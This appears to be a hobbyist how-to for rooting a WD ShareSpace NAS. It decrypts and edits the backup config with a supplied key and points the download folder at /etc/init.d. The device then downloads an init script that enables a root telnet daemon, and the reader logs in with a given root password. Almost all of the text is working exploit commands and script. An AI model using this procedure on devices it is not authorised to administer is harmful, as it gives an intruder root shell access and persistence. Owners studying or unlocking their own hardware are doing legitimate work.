This is a hack a WD ShareSpace with new firmware
1. Enable "Downloader" function in Storage - Downloads
2. Save configure file from device
file like this config-WDShareSpace.20090604153042.xml
3. Unpack and decrypt configure file
./decodex -k="Nj1e2w0a0b" ./config-WDShareSpace.20090604153042.xml ./uploadconfig.xml.tar
tar -xvf ./uploadconfig.xml.tar
rm config.xml.md5
4. Edit config.xml file
that something like this to increase by one
<lastchange>1243940739</lastchange>
search for a similar line
<downloadshare>/DataVolume/Download</downloadshare>
replace it with this
<downloadshare>/etc/init.d</downloadshare>
5. Pack end encrypt new config
md5sum config.xml > config.xml.md5
tar cf config.xml config.xml.md5 config.xml.tar
./encodex -k="Nj1e2w0a0b" ./config.xml.tar config.xml.xtx
mv config.xml.xtx config-WDShareSpace.20090604153050.xml
6. Make a "General restore" with new configure file. data is not lost
7. Make file like this
#!/bin/sh
case "$1" in
start)
echo "telnet stream tcp nowait root /usr/sbin/telnetd /usr/sbin/telnetd" >>/etc/inetd.conf
;;
*)
exit 1
esac
exit $?
name it S50hack.sh and put on the web or ftp server
extension ".sh" is very important
7. Go to "downloader" interface of WD and add this S50hack.sh to download task - like http://yourwebserver/S50hack.sh
8. Reboot the WD ShareSpace
9. Telnet to ShareSpace with l:root and p:welc0me
10. rm /etc/init.d/S50hack.sh
11. Go to Downloader WEB user interface and remove incomlete task
12. Restore old configure file (via web interface)
PS use encodex/decodex from this url: http://www.geodyssey.com/cryptography/textec.html